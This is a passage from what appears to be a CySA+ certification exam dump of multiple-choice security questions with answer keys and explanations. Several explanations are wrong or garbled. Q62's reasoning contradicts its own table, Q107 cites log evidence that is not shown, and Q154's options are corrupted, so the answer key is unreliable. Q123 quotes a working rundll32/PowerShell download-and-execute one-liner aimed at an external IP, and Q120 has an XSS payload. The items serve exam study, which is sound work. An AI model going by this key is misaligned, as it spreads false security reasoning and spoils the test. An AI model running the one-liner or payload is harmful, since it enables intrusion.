SMITTEN: Malware exploitable: Yes; Exploit Activity: Medium; Exposed Externally: No

Which of the following vulnerabilities should be prioritized?

- A. Vulnerability 1
- B. Vulnerability 2
- C. Vulnerability 3
- D. Vulnerability 4

**Answer: B**

**Explanation:**

Vulnerability 2 should be prioritized as it is exploitable, has high exploit activity, and is exposed externally according to the SMITTEN metric. References: Vulnerability Management Metrics: 5 Metrics to Start Measuring in Your Program, Section: Vulnerability Severity.

**NEW QUESTION 57**

Which of the following is a useful tool for mapping, tracking, and mitigating identified threats and vulnerabilities with the likelihood and impact of occurrence?

- A. Risk register
- B. Vulnerability assessment
- C. Penetration test
- D. Compliance report

**Answer: A**

**Explanation:**

A risk register is a useful tool for mapping, tracking, and mitigating identified threats and vulnerabilities with the likelihood and impact of occurrence. A risk register is a document that records the details of all the risks identified in a project or an organization, such as their sources, causes, consequences, probabilities, impacts, and mitigation strategies. A risk register can help the security team to prioritize the risks based on their severity and urgency, and to monitor and control them throughout the project or the organization's lifecycle<sup>12</sup>. A vulnerability assessment, a penetration test, and a compliance report are all methods or outputs of identifying and evaluating the threats and vulnerabilities, but they are not tools for mapping, tracking, and mitigating them<sup>345</sup>. References: What is a Risk Register? | Smartsheet, Risk Register: Definition & Example, Vulnerability Assessment vs. Penetration Testing: What's the Difference?, What is a Penetration Test and How Does It Work?, What is a Compliance Report? | Definition, Types, and Examples

**NEW QUESTION 60**

Which of the following is an important aspect that should be included in the lessons-learned step after an incident?

- A. Identify any improvements or changes in the incident response plan or procedures
- B. Determine if an internal mistake was made and who did it so they do not repeat the error
- C. Present all legal evidence collected and turn it over to law enforcement
- D. Discuss the financial impact of the incident to determine if security controls are well spent

**Answer: A**

**Explanation:**

An important aspect that should be included in the lessons-learned step after an incident is to identify any improvements or changes in the incident response plan or procedures. The lessons-learned step is a process that involves reviewing and evaluating the incident response activities and outcomes, as well as identifying and documenting any strengths, weaknesses, gaps, or best practices. Identifying any improvements or changes in the incident response plan or procedures can help enhance the security posture, readiness, or capability of the organization for future incidents

**NEW QUESTION 62**

A company recently removed administrator rights from all of its end user workstations. An analyst uses CVSSv3.1 exploitability metrics to prioritize the vulnerabilities for the workstations and produces the following information:

Vulnerability name	CVSSv3.1 exploitability metrics
sweet.bike	AV:N AC:H PR:H UI:R
vote.4p	AV:N AC:H PR:H UI:N
nessie.explosion	AV:L AC:L PR:H UI:R
great.skills	AV:N AC:L PR:N UI:N

Which of the following vulnerabilities should be prioritized for remediation?

- A. nessie.explosion
- B. vote.4p
- C. sweet.bike
- D. great.skills

**Answer:** A

**Explanation:**

nessie.explosion should be prioritized for remediation, as it has the highest CVSSv3.1 exploitability score of 8.6. The exploitability score is a sub-score of the CVSSv3.1 base score, which reflects the ease and technical means by which the vulnerability can be exploited. The exploitability score is calculated based on four metrics: Attack Vector, Attack Complexity, Privileges Required, and User Interaction. The higher the exploitability score, the more likely and feasible the vulnerability is to be exploited by an attacker. nessie.explosion has the highest exploitability score because it has the lowest values for all four metrics: Network (AV:N), Low (AC:L), None (PR:N), and None (UI:N). This means that the vulnerability can be exploited remotely over the network, without requiring any user interaction or privileges, and with low complexity. Therefore, nessie.explosion poses the greatest threat to the end user workstations, and should be remediated first. vote.4p, sweet.bike, and great.skills have lower exploitability scores because they have higher values for some of the metrics, such as Adjacent Network (AV:A), High (AC:H), Low (PR:L), or Required (UI:R). This means that the vulnerabilities are more difficult or less likely to be exploited, as they require physical proximity, user involvement, or some privileges. References: CVSS v3.1 Specification Document - FIRST, NVD - CVSS v3 Calculator, CVSS v3.1 User Guide - FIRST, CVSS v3.1 Examples - FIRST

**NEW QUESTION 66**

Which of following would best mitigate the effects of a new ransomware attack that was not properly stopped by the company antivirus?

- A. Install a firewall.
- B. Implement vulnerability management.
- C. Deploy sandboxing.
- D. Update the application blocklist.

**Answer:** C

**Explanation:**

Sandboxing is a technique that isolates potentially malicious programs or files in a controlled environment, preventing them from affecting the rest of the system. It can help mitigate the effects of a new ransomware attack by preventing it from encrypting or deleting important data or spreading to other devices. References: CompTIA CySA+ Study Guide: Exam CS0-003, 3rd Edition, Chapter 5, page 202; CompTIA CySA+ CS0-003 Certification Study Guide, Chapter 5, page 210.

**NEW QUESTION 71**

A security analyst obtained the following table of results from a recent vulnerability assessment that was conducted against a single web server in the environment:

Finding	Impact	Credential required?	Complexity
Self-signed certificate in use	High	No	High
Old copyright date	Low	No	N/A
All user input accepted on forms	High	No	Low
Full error messages displayed	Medium	No	Low
Control panel login open to public	High	Yes	Medium

Which of the following should be completed first to remediate the findings?

- A. Ask the web development team to update the page contents
- B. Add the IP address allow listing for control panel access
- C. Purchase an appropriate certificate from a trusted root CA
- D. Perform proper sanitization on all fields

**Answer:** D

**Explanation:**

The first action that should be completed to remediate the findings is to perform proper sanitization on all fields. Sanitization is a process that involves validating, filtering, or encoding any user input or data before processing or storing it on a system or application. Sanitization can help prevent various types of attacks, such as cross-site scripting (XSS), SQL injection, or command injection, that exploit unsanitized input or data to execute malicious scripts, commands, or queries on a system or application. Performing proper sanitization on all fields can help address the most critical and common vulnerability found during the vulnerability assessment, which is XSS.

**NEW QUESTION 72**

Which of the following would a security analyst most likely use to compare TTPs between different known adversaries of an organization?

- A. MITRE ATTACK
- B. Cyber Kill Cham
- C. OWASP
- D. STIXTAXII

**Answer:** A

**Explanation:**

MITRE ATT&CK is a framework and knowledge base that describes the tactics, techniques, and procedures (TTPs) used by various adversaries in cyberattacks. MITRE ATT&CK can help security analysts compare TTPs between different known adversaries of an organization, as well as identify patterns, gaps, or trends in adversary behavior. MITRE ATT&CK can also help security analysts improve threat detection, analysis, and response capabilities, as well as share threat intelligence with other organizations or communities

**NEW QUESTION 75**

A company that has a geographically diverse workforce and dynamic IPs wants to implement a vulnerability scanning method with reduced network traffic. Which of the following would best meet this requirement?

- A. External
- B. Agent-based
- C. Non-credentialed
- D. Credentialed

**Answer:** B

**Explanation:**

Agent-based vulnerability scanning is a method that involves installing software agents on the target systems or networks that can perform local scans and report the results to a central server or console. Agent-based vulnerability scanning can reduce network traffic, as the scans are performed locally and only the results are transmitted over the network. Agent-based vulnerability scanning can also provide more accurate and up-to-date results, as the agents can scan continuously or on-demand, regardless of the system or network status or location.

**NEW QUESTION 80**

Given the following CVSS string- CVSS:3.0/AV:N/AC:L/PR:N/UI:N/3:U/C:K/I:K/A:H  
Which of the following attributes correctly describes this vulnerability?

- A. A user is required to exploit this vulnerability.
- B. The vulnerability is network based.
- C. The vulnerability does not affect confidentiality.
- D. The complexity to exploit the vulnerability is high.

**Answer:** B

**Explanation:**

The vulnerability is network based is the correct attribute that describes this vulnerability, as it can be inferred from the CVSS string. CVSS stands for Common Vulnerability Scoring System, which is a framework that assigns numerical scores and ratings to vulnerabilities based on their characteristics and severity. The

CVSS string consists of several metrics that define different aspects of the vulnerability, such as the attack vector, the attack complexity, the privileges required, the user interaction, the scope, and the impact on confidentiality, integrity and availability. The first metric in the CVSS string is the attack vector (AV), which indicates how the vulnerability can be exploited. The value of AV in this case is N, which stands for network. This means that the vulnerability can be exploited remotely over a network connection, without physical or logical access to the target system. Therefore, the vulnerability is network based. Official References:  
? <https://partners.comptia.org/docs/default-source/resources/comptia-cysa-cs0-002-exam-objectives>  
? <https://www.comptia.org/certifications/cybersecurity-analyst>  
? <https://packitforwarding.com/index.php/2019/01/10/comptia-cysa-common-vulnerability-scoring-system-cvss/>

**NEW QUESTION 84**

A disgruntled open-source developer has decided to sabotage a code repository with a logic bomb that will act as a wiper. Which of the following parts of the Cyber Kill Chain does this act exhibit?

- A. Reconnaissance
- B. Weaponization
- C. Exploitation
- D. Installation

**Answer: B**

**Explanation:**

Weaponization is the stage of the Cyber Kill Chain where the attacker creates or modifies a malicious payload to use against a target. In this case, the disgruntled open-source developer has created a logic bomb that will act as a wiper, which is a type of malware that destroys data on a system. This is an example of weaponization, as the developer has prepared a cyberweapon to sabotage the code repository. References: The answer was based on the web search results from Bing, especially the following sources:  
? Cyber Kill Chain® | Lockheed Martin, which states: "In the weaponization step, the adversary creates remote access malware weapon, such as a virus or worm, tailored to one or more vulnerabilities."  
? The Cyber Kill Chain: The Seven Steps of a Cyberattack - EC-Council, which states: "In the weaponization stage, all of the attacker's preparatory work culminates in the creation of malware to be used against an identified target."  
? What is the Cyber Kill Chain? Introduction Guide - CrowdStrike, which states: "Weaponization: The attacker creates a malicious payload that will be delivered to the target."

**NEW QUESTION 85**

A SOC analyst identifies the following content while examining the output of a debugger command over a client-server application: getconnection (database01, "alpha ", "AXTV. 127GdCx94GTd") ; Which of the following is the most likely vulnerability in this system?

- A. Lack of input validation
- B. SQL injection
- C. Hard-coded credential
- D. Buffer overflow attacks

**Answer: C**

**Explanation:**

The most likely vulnerability in this system is hard-coded credential. Hard-coded credential is a practice of embedding or storing a username, password, or other sensitive information in the source code or configuration file of a system or application. Hard-coded credential can pose a serious security risk, as it can expose the system or application to unauthorized access, data theft, or compromise if the credential is discovered or leaked by an attacker. Hard-coded credential can also make it difficult to change or update the credential if needed, as it may require modifying the code or file and redeploying the system or application.

**NEW QUESTION 86**

A vulnerability management team is unable to patch all vulnerabilities found during their weekly scans. Using the third-party scoring system described below, the team patches the most urgent vulnerabilities:

Metric	Description
Cobain	Exploitable by malware
Grohl	Externally facing
Novo	Exploit PoC available
Smear	Older than 2 years
Channing	Vulnerability research activity

Additionally, the vulnerability management team feels that the metrics Smear and Channing are less important than the others, so these will be lower in priority. Which of the following vulnerabilities should be patched first, given the above third-party scoring system?

- A. InLoud: Cobain: Yes Grohl: No Novo: Yes Smear: Yes Channing: No B.TSpirit: Cobain: Yes Grohl: Yes Novo: Yes Smear: No Channing: No C.ENamespace: Cobain: Yes Grohl: No Novo: Yes Smear: No Channing: No D.PBleach: Cobain: Yes Grohl: No Novo: No Smear: No Channing: Yes

**Answer: B**

**Explanation:**

The vulnerability that should be patched first, given the above third-party scoring system, is: TSpirit: Cobain: Yes Grohl: Yes Novo: Yes Smear: No Channing: No  
This vulnerability has three out of five metrics marked as Yes, which indicates a high severity level. The metrics Cobain, Grohl, and Novo are more important than Smear and Channing, according to the vulnerability management team. Therefore, this vulnerability poses a greater risk than the other vulnerabilities and should be patched first.

**NEW QUESTION 90**

A team of analysts is developing a new internal system that correlates information from a variety of sources analyzes that information, and then triggers notifications according to company policy Which of the following technologies was deployed?

- A. SIEM
- B. SOAR
- C. IPS
- D. CERT

**Answer:** A

**Explanation:**

SIEM (Security Information and Event Management) technology aggregates and analyzes activity from many different resources across your IT infrastructure. The description of correlating information from various sources and triggering notifications aligns with the capabilities of a SIEM system.

**NEW QUESTION 93**

A managed security service provider is having difficulty retaining talent due to an increasing workload caused by a client doubling the number of devices connected to the network.

Which of the following would best aid in decreasing the workload without increasing staff?

- A. SIEM
- B. XDR
- C. SOAR
- D. EDR

**Answer:** C

**Explanation:**

SOAR stands for Security Orchestration, Automation and Response, which is a set of features that can help security teams manage, prioritize and respond to security incidents more efficiently and effectively. SOAR can help decrease the workload without increasing staff by automating repetitive tasks, streamlining workflows, integrating different tools and platforms, and providing actionable insights and recommendations. SOAR is also one of the current trends that CompTIA CySA+ covers in its exam objectives. Official References:

? <https://www.comptia.org/blog/the-new-comptia-cybersecurity-analyst-your-questions-answered>

? <https://www.comptia.org/certifications/cybersecurity-analyst>

? <https://partners.comptia.org/docs/default-source/resources/comptia-cysa-cs0-002-exam-objectives>

**NEW QUESTION 96**

During security scanning, a security analyst regularly finds the same vulnerabilities in a critical application. Which of the following recommendations would best mitigate this problem if applied along the SDLC phase?

- A. Conduct regular red team exercises over the application in production
- B. Ensure that all implemented coding libraries are regularly checked
- C. Use application security scanning as part of the pipeline for the CI/CDflow
- D. Implement proper input validation for any data entry form

**Answer:** C

**Explanation:**

Application security scanning is a process that involves testing and analyzing applications for security vulnerabilities, such as injection flaws, broken authentication, cross-site scripting, and insecure configuration. Application security scanning can help identify and fix security issues before they become exploitable by attackers. Using application security scanning as part of the pipeline for the continuous integration/continuous delivery (CI/CD) flow can help mitigate the problem of finding the same vulnerabilities in a critical application during security scanning. This is because application security scanning can be integrated into the development lifecycle and performed automatically and frequently as part of the CI/CD process.

**NEW QUESTION 100**

During an internal code review, software called "ACE" was discovered to have a vulnerability that allows the execution of arbitrary code. The vulnerability is in a legacy, third-party vendor resource that is used by the ACE software. ACE is used worldwide and is essential for many businesses in this industry. Developers informed the Chief Information Security Officer that removal of the vulnerability will take time. Which of the following is the first action to take?

- A. Look for potential IoCs in the company.
- B. Inform customers of the vulnerability.
- C. Remove the affected vendor resource from the ACE software.
- D. Develop a compensating control until the issue can be fixed permanently.

**Answer:** D

**Explanation:**

A compensating control is an alternative measure that provides a similar level of protection as the original control, but is used when the original control is not feasible or cost-effective. In this case, the CISO should develop a compensating control to mitigate the risk of the vulnerability in the ACE software, such as implementing additional monitoring, firewall rules, or encryption, until the issue can be fixed permanently by the developers. References: CompTIA CySA+ Study Guide: Exam CS0-003, 3rd Edition, Chapter 5, page 197; CompTIA CySA+ CS0-003 Certification Study Guide, Chapter 5, page 205.

**NEW QUESTION 101**

Which of the following is often used to keep the number of alerts to a manageable level when establishing a process to track and analyze violations?

- A. Log retention
- B. Log rotation
- C. Maximum log size

D. Threshold value

**Answer:** D

**Explanation:**

A threshold value is a parameter that defines the minimum or maximum level of a metric or event that triggers an alert. For example, a threshold value can be set to alert when the number of failed login attempts exceeds 10 in an hour, or when the CPU usage drops below 20% for more than 15 minutes. By setting a threshold value, the process can filter out irrelevant or insignificant alerts and focus on the ones that indicate a potential problem or anomaly. A threshold value can help to reduce the noise and false positives in the alert system, and improve the efficiency and accuracy of the analysis<sup>12</sup>

**NEW QUESTION 105**

During an incident, a security analyst discovers a large amount of PII has been emailed externally from an employee to a public email address. The analyst finds that the external email is the employee's personal email. Which of the following should the analyst recommend be done first?

- A. Place a legal hold on the employee's mailbox.
- B. Enable filtering on the web proxy.
- C. Disable the public email access with CASB.
- D. Configure a deny rule on the firewall.

**Answer:** A

**Explanation:**

Placing a legal hold on the employee's mailbox is the best action to perform first, as it preserves all mailbox content, including deleted items and original versions of modified items, for potential legal or forensic purposes. A legal hold is a feature that allows an administrator to retain mailbox data for a user indefinitely or for a specified period, regardless of the user's actions or retention policies. A legal hold can be applied to a mailbox using Litigation Hold or In-Place Hold in Exchange Server or Exchange Online. A legal hold can help to ensure that evidence of data exfiltration or other malicious activities is not lost or tampered with, and that the organization can comply with any legal or regulatory obligations. The other actions are not as urgent or effective as placing a legal hold on the employee's mailbox, as they do not address the immediate threat of data loss or compromise. Enabling filtering on the web proxy may help to prevent some types of data exfiltration or malicious traffic, but it does not help to recover or preserve the data that has already been emailed externally. Disabling the public email access with CASB (Cloud Access Security Broker) may help to block or monitor the use of public email services by employees, but it does not help to recover or preserve the data that has already been emailed externally. Configuring a deny rule on the firewall may help to block or monitor the network traffic from the employee's laptop, but it does not help to recover or preserve the data that has already been emailed externally.

**NEW QUESTION 107**

A security analyst receives an alert for suspicious activity on a company laptop An excerpt of the log is shown below:

Event #	Process	Parent process
1	Console Windows Host (conhost.exe)	System (-)
2	Console Windows Host (conhost.exe)	Command Prompt (cmd.exe)
3	Windows Explorer (Explorer.exe)	Microsoft Outlook (outlook.exe)
4	Microsoft Outlook (outlook.exe)	Microsoft Word (winword.exe)
5	Microsoft Word (winword.exe)	PowerShell (powershell.exe)
6	Windows Explorer (Explorer.exe)	Google Chrome (chrome.exe)

Which of the following has most likely occurred?

- A. An Office document with a malicious macro was opened.
- B. A credential-stealing website was visited.
- C. A phishing link in an email was clicked
- D. A web browser vulnerability was exploited.

**Answer:** A

**Explanation:**

An Office document with a malicious macro was opened is the most likely explanation for the suspicious activity on the company laptop, as it reflects the common technique of using macros to execute PowerShell commands that download and run malware. A macro is a piece of code that can automate tasks or perform actions in an Office document, such as a Word file or an Excel spreadsheet. Macros can be useful and legitimate, but they can also be abused by threat actors to deliver malware or perform malicious actions on the system. A malicious macro can be embedded in an Office document that is sent as an attachment in a phishing email or hosted on a compromised website. When the user opens the document, they may be prompted to enable macros or content, which will trigger the execution of the malicious code. The malicious macro can then use PowerShell, which is a scripting language and command-line shell that is built into Windows, to perform various tasks, such as downloading and running malware from a remote URL, bypassing security controls, or establishing persistence on the system. The log excerpt shows that PowerShell was used to download a string from a URL using the WebClient.DownloadString method, which is a common way to fetch and execute malicious code from the internet. The log also shows that PowerShell was used to invoke an expression (iex) that contains obfuscated code, which is another common way to evade detection and analysis. The other options are not as likely as an Office document with a malicious macro was opened, as they do not match the evidence in the log excerpt. A credential-stealing website was visited is possible, but it does not explain why PowerShell was used to download and execute code from a URL. A phishing link in an email was clicked is also possible, but it does not explain what happened after the link was clicked or how PowerShell was involved. A web browser vulnerability was exploited is unlikely, as it does not explain why PowerShell was used to download and execute

code from a URL.

**NEW QUESTION 111**

An incident response team is working with law enforcement to investigate an active web server compromise. The decision has been made to keep the server running and to implement compensating controls for a period of time. The web service must be accessible from the internet via the reverse proxy and must connect to a database server. Which of the following compensating controls will help contain the adversary while meeting the other requirements? (Select two).

- A. Drop the tables on the database server to prevent data exfiltration.
- B. Deploy EDR on the web server and the database server to reduce the adversaries capabilities.
- C. Stop the httpd service on the web server so that the adversary can not use web exploits
- D. use micro segmentation to restrict connectivity to/from the web and database servers.
- E. Comment out the HTTP account in the / etc/passwd file of the web server
- F. Move the database from the database server to the web server.

**Answer:** BD

**Explanation:**

Deploying EDR on the web server and the database server to reduce the adversaries capabilities and using micro segmentation to restrict connectivity to/from the web and database servers are two compensating controls that will help contain the adversary while meeting the other requirements. A compensating control is a security measure that is implemented to mitigate the risk of a vulnerability or an attack when the primary control is not feasible or effective. EDR stands for Endpoint Detection and Response, which is a tool that monitors endpoints for malicious activity and provides automated or manual response capabilities. EDR can help contain the adversary by detecting and blocking their actions, such as data exfiltration, lateral movement, privilege escalation, or command execution. Micro segmentation is a technique that divides a network into smaller segments based on policies and rules, and applies granular access controls to each segment. Micro segmentation can help contain the adversary by isolating the web and database servers from other parts of the network, and limiting the traffic that can flow between them. Official References:

? <https://partners.comptia.org/docs/default-source/resources/comptia-cysa-cs0-002-exam-objectives>

? <https://www.comptia.org/certifications/cybersecurity-analyst>

? <https://www.comptia.org/blog/the-new-comptia-cybersecurity-analyst-your-questions-answered>

**NEW QUESTION 112**

A security team is concerned about recent Layer 4 DDoS attacks against the company website. Which of the following controls would best mitigate the attacks?

- A. Block the attacks using firewall rules.
- B. Deploy an IPS in the perimeter network.
- C. Roll out a CDN.
- D. Implement a load balancer.

**Answer:** C

**Explanation:**

Rolling out a CDN is the best control to mitigate the Layer 4 DDoS attacks against the company website. A CDN is a Content Delivery Network, which is a system of distributed servers that deliver web content to users based on their geographic location, the origin of the web page, and the content delivery server. A CDN can help protect against Layer 4 DDoS attacks, which are volumetric attacks that aim to exhaust the network bandwidth or resources of the target website by sending a large amount of traffic, such as SYN floods, UDP floods, or ICMP floods. A CDN can mitigate these attacks by distributing the traffic across multiple servers, caching the web content closer to the users, filtering out malicious or unwanted traffic, and providing scalability and redundancy for the website. References: How to Stop a DDoS Attack: Mitigation Steps for Each OSI Layer, Application layer DDoS attack | Cloudflare

**NEW QUESTION 114**

An employee is suspected of misusing a company-issued laptop. The employee has been suspended pending an investigation by human resources. Which of the following is the best step to preserve evidence?

- A. Disable the user's network account and access to web resources
- B. Make a copy of the files as a backup on the server.
- C. Place a legal hold on the device and the user's network share.
- D. Make a forensic image of the device and create a SRA-I hash.

**Answer:** D

**Explanation:**

Making a forensic image of the device and creating a SRA-I hash is the best step to preserve evidence, as it creates an exact copy of the device's data and verifies its integrity. A forensic image is a bit-by-bit copy of the device's storage media, which preserves all the information on the device, including deleted or hidden files. A SRA-I hash is a cryptographic value that is calculated from the forensic image, which can be used to prove that the image has not been altered or tampered with. The other options are not as effective as making a forensic image and creating a SRA-I hash, as they may not capture all the relevant data, or they may not provide sufficient verification of the evidence's authenticity. Official References:

? <https://www.sans.org/blog/forensics-101-acquiring-an-image-with-ftk-imager/>

? <https://swailescmputerforensics.com/digital-forensics-imaging-hash-value/>

**NEW QUESTION 115**

A SOC analyst is analyzing traffic on a network and notices an unauthorized scan. Which of the following types of activities is being observed?

- A. Potential precursor to an attack
- B. Unauthorized peer-to-peer communication
- C. Rogue device on the network
- D. System updates

**Answer:** A

**NEW QUESTION 120**

A security analyst found the following vulnerability on the company's website:

```
<INPUT TYPE="IMAGE" SRC="javascript:alert('test');">
```

Which of the following should be implemented to prevent this type of attack in the future?

- A. Input sanitization
- B. Output encoding
- C. Code obfuscation
- D. Prepared statements

**Answer: A**

**Explanation:**

This is a type of web application vulnerability called cross-site scripting (XSS), which allows an attacker to inject malicious code into a web page that is viewed by other users. XSS can be used to steal cookies, session tokens, credentials, or other sensitive information, or to perform actions on behalf of the victim.

Input sanitization is a technique that prevents XSS attacks by checking and filtering the user input before processing it. Input sanitization can remove or encode any characters or strings that may be interpreted as code by the browser, such as <, >, ", ', or javascript:. Input sanitization can also validate the input against a predefined format or range of values, and reject any input that does not match.

Output encoding is a technique that prevents XSS attacks by encoding the output before sending it to the browser. Output encoding can convert any characters or strings that may be interpreted as code by the browser into harmless entities, such as <, >, ", ', or javascript:. Output encoding can also escape any special characters that may have a different meaning in different contexts, such as , /, or ;.

Code obfuscation is a technique that makes the source code of a web application more difficult to read and understand by humans. Code obfuscation can use techniques such as renaming variables and functions, removing comments and whitespace, replacing literals with expressions, or adding dummy code. Code obfuscation can help protect the intellectual property and trade secrets of a web application, but it does not prevent XSS attacks.

**NEW QUESTION 123**

A SIEM alert is triggered based on execution of a suspicious one-liner on two workstations in the organization's environment. An analyst views the details of these events below:

```
rundll32.exe javascript:..\mshtml,RunHTMLApplication ";document.write();r=new%20ActiveXObject ("WScript.Shell").run("powershell -w  
h -nologo -noprofile -ep bypass IEX ((New-Object Net.WebClient).DownloadString('77.247.109.185/AccessToken.psl'))",0,true);
```

Which of the following statements best describes the intent of the attacker, based on this one-liner?

- A. Attacker is escalating privileges via JavaScript.
- B. Attacker is utilizing custom malware to download an additional script.
- C. Attacker is executing PowerShell script "AccessToken.psr."
- D. Attacker is attempting to install persistence mechanisms on the target machine.

**Answer: B**

**Explanation:**

The one-liner script is utilizing JavaScript to execute a PowerShell command that downloads and runs a script from an external source, indicating the use of custom malware to download an additional script. References: ompTIA CySA+ Study Guide: Exam CS0-003, 3rd Edition, Chapter 4: Security Operations and Monitoring, page 156.

**NEW QUESTION 128**

Which of the following would eliminate the need for different passwords for a variety of internal applications?

- A. CASB
- B. SSO
- C. PAM
- D. MFA

**Answer: B**

**Explanation:**

Single Sign-On (SSO) allows users to log in with a single ID and password to access multiple applications. It eliminates the need for different passwords for various internal applications, streamlining the authentication process.

**NEW QUESTION 132**

A Chief Information Security Officer (CISO) wants to disable a functionality on a business-critical web application that is vulnerable to RCE in order to maintain the minimum risk level with minimal increased cost.

Which of the following risk treatments best describes what the CISO is looking for?

- A. Transfer
- B. Mitigate
- C. Accept
- D. Avoid

**Answer: B**

**NEW QUESTION 137**

Which of the following actions would an analyst most likely perform after an incident has been investigated?

- A. Risk assessment
- B. Root cause analysis
- C. Incident response plan
- D. Tabletop exercise

**Answer:** D

**Explanation:**

A tabletop exercise is the most likely action that an analyst would perform after an incident has been investigated. A tabletop exercise is a simulation of a potential incident scenario that involves the key stakeholders and decision-makers of the organization. The purpose of a tabletop exercise is to evaluate the effectiveness of the incident response plan, identify the gaps and weaknesses in the plan, and improve the communication and coordination among the incident response team and other parties. A tabletop exercise can help the analyst to learn from the incident investigation, test the assumptions and recommendations made during the investigation, and enhance the preparedness and resilience of the organization for future incidents<sup>12</sup>. Risk assessment, root cause analysis, and incident response plan are all actions that an analyst would perform before or during an incident investigation, not after. Risk assessment is the process of identifying, analyzing, and evaluating the risks that may affect the organization. Root cause analysis is the method of finding the underlying or fundamental causes of an incident. Incident response plan is the document that defines the roles, responsibilities, procedures, and resources for responding to an incident<sup>345</sup>. References: Tabletop Exercises: Six Scenarios to Help Prepare Your Cybersecurity Team, Tabletop Exercises for Incident Response - SANS Institute, Risk Assessment - NIST, Root Cause Analysis - OWASP, Incident Response Plan | Ready.gov

**NEW QUESTION 139**

A security analyst discovers an LFI vulnerability that can be exploited to extract credentials from the underlying host. Which of the following patterns can the security analyst use to search the web server logs for evidence of exploitation of that particular vulnerability?

- A. /etc/ shadow
- B. curl localhost
- C. ; printenv
- D. cat /proc/self/

**Answer:** A

**Explanation:**

/etc/shadow is the pattern that the security analyst can use to search the web server logs for evidence of exploitation of the LFI vulnerability that can be exploited to extract credentials from the underlying host. LFI stands for Local File Inclusion, which is a vulnerability that allows an attacker to include local files on the web server into the output of a web application. LFI can be exploited to extract sensitive information from the web server, such as configuration files, passwords, or source code. The /etc/shadow file is a file that stores the encrypted passwords of all users on a Linux system. If an attacker can exploit the LFI vulnerability to include this file into the web application output, they can obtain the credentials of the users on the web server. Therefore, the security analyst can look for /etc/shadow in the request line of the web server logs to see if any attacker has attempted or succeeded in exploiting the LFI vulnerability. Official References:  
? <https://partners.comptia.org/docs/default-source/resources/comptia-cysa-cs0-002-exam-objectives>  
? <https://www.comptia.org/certifications/cybersecurity-analyst>  
? <https://www.comptia.org/blog/the-new-comptia-cybersecurity-analyst-your-questions-answered>

**NEW QUESTION 144**

A company's security team is updating a section of the reporting policy that pertains to inappropriate use of resources (e.g., an employee who installs cryptominers on workstations in the office). Besides the security team, which of the following groups should the issue be escalated to first in order to comply with industry best practices?

- A. Help desk
- B. Law enforcement
- C. Legal department
- D. Board member

**Answer:** C

**Explanation:**

The correct answer is C. Legal department.

According to the CompTIA Cybersecurity Analyst (CySA+) certification exam objectives, one of the tasks for a security analyst is to "report and escalate security incidents to appropriate stakeholders and authorities"<sup>1</sup>. This includes reporting any inappropriate use of resources, such as installing cryptominers on workstations, which may violate the company's policies and cause financial and reputational damage. The legal department is the most appropriate group to escalate this issue to first, as they can advise on the legal implications and actions that can be taken against the employee. The legal department can also coordinate with other groups, such as law enforcement, help desk, or board members, as needed. The other options are not the best choices to escalate the issue to first, as they may not have the authority or expertise to handle the situation properly.

**NEW QUESTION 149**

An organization has activated the CSIRT. A security analyst believes a single virtual server was compromised and immediately isolated from the network. Which of the following should the CSIRT conduct next?

- A. Take a snapshot of the compromised server and verify its integrity
- B. Restore the affected server to remove any malware
- C. Contact the appropriate government agency to investigate
- D. Research the malware strain to perform attribution

**Answer:** A

**Explanation:**

The next action that the CSIRT should conduct after isolating the compromised server from the network is to take a snapshot of the compromised server and verify its integrity. Taking a snapshot of the compromised server involves creating an exact copy or image of the server's data and state at a specific point in time. Verifying its integrity involves ensuring that the snapshot has not been altered, corrupted, or tampered with during or after its creation. Taking a snapshot and verifying its integrity can help preserve and protect any evidence or information related to the incident, as well as prevent any tampering, contamination, or destruction of evidence.

**NEW QUESTION 152**

An analyst is examining events in multiple systems but is having difficulty correlating data points. Which of the following is most likely the issue with the system?

- A. Access rights
- B. Network segmentation
- C. Time synchronization
- D. Invalid playbook

**Answer: C**

**Explanation:**

Time synchronization is the process of ensuring that all systems in a network have the same accurate time, which is essential for correlating data points from different sources. If the system has an issue with time synchronization, the analyst may have difficulty matching events that occurred at the same time or in a specific order. Access rights, network segmentation, and invalid playbook are not directly related to the issue of correlating data points. Verified References: [CompTIA CySA+ CS0-002 Certification Study Guide], page 23

**NEW QUESTION 154**

A security analyst is reviewing a packet capture in Wireshark that contains an FTP session from a potentially compromised machine. The analyst sets the following display filter: ftp. The analyst can see there are several RETR requests with 226 Transfer complete responses, but the packet list pane is not showing the packets containing the file transfer itself. Which of the following can the analyst perform to see the entire contents of the downloaded files?

- A. Change the display filter to f c
- B. acciv
- C. pore
- D. Change the display filter to tcg.port=20
- E. Change the display filter to f cp-daca and follow the TCP streams
- F. Navigate to the File menu and select FTP from the Export objects option

**Answer: C**

**Explanation:**

The best way to see the entire contents of the downloaded files in Wireshark is to change the display filter to ftp-data and follow the TCP streams. FTP-data is a protocol that is used to transfer files between an FTP client and server using TCP port 20. By filtering for ftp-data packets and following the TCP streams, the analyst can see the actual file data that was transferred during the FTP session

**NEW QUESTION 156**

A security analyst has found the following suspicious DNS traffic while analyzing a packet capture:

- DNS traffic while a tunneling session is active.
- The mean time between queries is less than one second.
- The average query length exceeds 100 characters. Which of the following attacks most likely occurred?

- A. DNS exfiltration
- B. DNS spoofing
- C. DNS zone transfer
- D. DNS poisoning

**Answer: A**

**Explanation:**

DNS exfiltration is a technique that uses the DNS protocol to transfer data from a compromised network or device to an attacker-controlled server. DNS exfiltration can bypass firewall rules and security products that do not inspect DNS traffic. The characteristics of the suspicious DNS traffic in the question match the indicators of DNS exfiltration, such as:

? DNS traffic while a tunneling session is active: This implies that the DNS protocol is being used to create a covert channel for data transfer.

? The mean time between queries is less than one second: This implies that the DNS queries are being sent at a high frequency to maximize the amount of data transferred.

? The average query length exceeds 100 characters: This implies that the DNS queries are encoding large amounts of data in the subdomains or other fields of the DNS packets.

Official References:

? <https://partners.comptia.org/docs/default-source/resources/comptia-cysa-cs0-002-exam-objectives>

? <https://resources.infosecinstitute.com/topic/bypassing-security-products-via-dns-data-exfiltration/>

? [https://www.reddit.com/r/CompTIA/comments/nvjuzt/dns\\_exfiltration\\_explanation/](https://www.reddit.com/r/CompTIA/comments/nvjuzt/dns_exfiltration_explanation/)

**NEW QUESTION 158**

A cryptocurrency service company is primarily concerned with ensuring the accuracy of the data on one of its systems. A security analyst has been tasked with prioritizing vulnerabilities for remediation for the system. The analyst will use the following CVSSv3.1 impact metrics for prioritization:

Vulnerability	CVSSv3.1 impact metrics
1	C:L/I:L/A:L
2	C:N/I:L/A:H
3	C:H/I:N/A:N
4	C:L/I:H/A:L

Which of the following vulnerabilities should be prioritized for remediation?

- A. 1

